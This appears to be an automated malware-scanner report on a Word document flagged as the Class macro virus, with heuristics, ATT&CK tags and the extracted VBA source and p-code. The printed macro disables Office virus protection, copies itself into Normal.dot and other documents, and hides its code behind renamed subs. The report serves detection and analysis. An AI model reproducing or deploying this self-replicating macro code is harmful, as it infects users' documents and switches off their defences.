MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic macro markers and VBA macros, including AutoOpen and Auto_Close, indicating an attempt to execute malicious code upon opening. The script attempts to export and add a component to the Normal.dot template, suggesting an effort to establish persistence or spread. The presence of ClamAV detections further supports its malicious nature.
Heuristics 6
-
ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-37
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
.replaceline 1, "Sub AutoClose()" -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7154 bytes |
SHA-256: d9c6bc735bb378acfaf95b17b0d5a1d99c2cb3b0671572666267c10914b7eabc |
|||
|
Detection
ClamAV:
Doc.Trojan.Class-28
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error GoTo out
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
If Date > #5/20/00# Then
AutoCorrect.Entries.Add Name:=",", Value:=", áëÿ,"
End If
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
If nt > 0 And nt < 3 Then NormalTemplate.VBProject.VBComponents.Item(1).codemodule.deletelines 1
If nt > 3 And ad > 3 Then GoTo out
If nt < 3 Then
Set host = NormalTemplate.VBProject.VBComponents.Item(1)
ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
host.codemodule.AddFromFile ("c:\class.sys")
With host.codemodule
For x = 1 To 4
.deletelines 1
Next x
.replaceline 1, "Sub AutoClose()"
.replaceline ad - 5, "Sub ViewVBCode()" '44
.replaceline ad - 2, "Sub ToolsMacro()" '47
End With
End If
If ad < 3 Then
Set host = ActiveDocument.VBProject.VBComponents.Item(1)
NormalTemplate.VBProject.VBComponents.Item(1).Export "c:\class.sys"
host.codemodule.AddFromFile ("c:\class.sys")
With host.codemodule
For x = 1 To 4
.deletelines 1
Next x
.replaceline 1, "Sub AutoOpen()"
.replaceline nt - 5, "Sub ViewVBCode1()"
.replaceline nt - 2, "Sub ToolsMacro1()"
End With
End If
Kill "c:\class.sys"
For Each aTemp In Templates
If LCase(aTemp.Name) = "Normal.dot" Then aTemp.Save
Next aTemp
out:
If nt > 3 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub ViewVBCode1()
'123
End Sub
Sub ToolsMacro1()
'123
End Sub
' Processing file: /tmp/qstore_s29zbebl
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3703 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' OnError out
' Line #2:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #3:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #4:
' LitVarSpecial (False)
' Ld Options
' MemSt ConfirmConversions
' Line #5:
' Ld Date
' LitDate 0x0000 0x0000 0xE740 0x40E1
' Gt
' IfBlock
' Line #6:
' LitStr 0x0001 ","
' ParamNamed New
' LitStr 0x0006 ", áëÿ,"
' ParamNamed Value
' Ld AutoCorrect
' MemLd Entries
' ArgsMemCall Add 0x0002
' Line #7:
' EndIfBlock
' Line #8:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St ad
' Line #9:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd CountOfLines
' St nt
' Line #10:
' Ld nt
' LitDI2 0x0000
' Gt
' Ld nt
' LitDI2 0x0003
' Lt
' And
' If
' BoSImplicit
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' ArgsMemCall deletelines 0x0001
' EndIf
' Line #11:
' Ld nt
' LitDI2 0x0003
' Gt
' Ld ad
' LitDI2 0x0003
' Gt
' And
' If
' BoSImplicit
' GoTo out
' EndIf
' Line #12:
' Ld nt
' LitDI2 0x0003
' Lt
' IfBlock
' Line #13:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set host
' Line #14:
' Ld host
' MemLd New
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemSt New
' Line #15:
' LitStr 0x000C "c:\class.sys"
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' ArgsMemCall Export 0x0001
' Line #16:
' LitStr 0x000C "c:\class.sys"
' Paren
' Ld host
' MemLd codemodule
' ArgsMemCall AddFromFile 0x0001
' Line #17:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #18:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0004
' For
' Line #19:
' LitDI2 0x0001
' ArgsMemCallWith deletelines 0x0001
' Line #20:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #21:
' LitDI2 0x0001
' LitStr 0x000F "Sub AutoClose()"
' ArgsMemCallWith replaceline 0x0002
' Line #22:
' Ld ad
' LitDI2 0x0005
' Sub
' LitStr 0x0010 "Sub ViewVBCode()"
' ArgsMemCallWith replaceline 0x0002
' QuoteRem 0x002E 0x0002 "44"
' Line #23:
' Ld ad
' LitDI2 0x0002
' Sub
' LitStr 0x0010 "Sub ToolsMacro()"
' ArgsMemCallWith replaceline 0x0002
' QuoteRem 0x002E 0x0002 "47"
' Line #24:
' EndWith
' Line #25:
' EndIfBlock
' Line #26:
' Ld ad
' LitDI2 0x0003
' Lt
' IfBlock
' Line #27:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set host
' Line #28:
' LitStr 0x000C "c:\class.sys"
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' ArgsMemCall Export 0x0001
' Line #29:
' LitStr 0x000C "c:\class.sys"
' Paren
' Ld host
' MemLd codemodule
' ArgsMemCall AddFromFile 0x0001
' Line #30:
' StartWithExpr
' Ld host
' MemLd codemodule
' With
' Line #31:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0004
' For
' Line #32:
' LitDI2 0x0001
' ArgsMemCallWith deletelines 0x0001
' Line #33:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #34:
' LitDI2 0x0001
' LitStr 0x000E "Sub AutoOpen()"
' ArgsMemCallWith replaceline 0x0002
' Line #35:
' Ld nt
' LitDI2 0x0005
' Sub
' LitStr 0x0011 "Sub ViewVBCode1()"
' ArgsMemCallWith replaceline 0x0002
' Line #36:
' Ld nt
' LitDI2 0x0002
' Sub
' LitStr 0x0011 "Sub ToolsMacro1()"
' ArgsMemCallWith replaceline 0x0002
' Line #37:
' EndWith
' Line #38:
' EndIfBlock
' Line #39:
' LitStr 0x000C "c:\class.sys"
' ArgsCall Kill 0x0001
' Line #40:
' StartForVariable
' Ld aTemp
' EndForVariable
' Ld Templates
' ForEach
' Line #41:
' Ld aTemp
' MemLd New
' ArgsLd LCase 0x0001
' LitStr 0x000A "Normal.dot"
' Eq
' If
' BoSImplicit
' Ld aTemp
' ArgsMemCall Save 0x0000
' EndIf
' Line #42:
' StartForVariable
' Ld aTemp
' EndForVariable
' NextVar
' Line #43:
' Label out
' Line #44:
' Ld nt
' LitDI2 0x0003
' Gt
' Ld ad
' LitDI2 0x0000
' Eq
' And
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #45:
' EndSub
' Line #46:
' FuncDefn (Sub ViewVBCode1())
' Line #47:
' QuoteRem 0x0000 0x0003 "123"
' Line #48:
' EndSub
' Line #49:
' FuncDefn (Sub ToolsMacro1())
' Line #50:
' QuoteRem 0x0000 0x0003 "123"
' Line #51:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.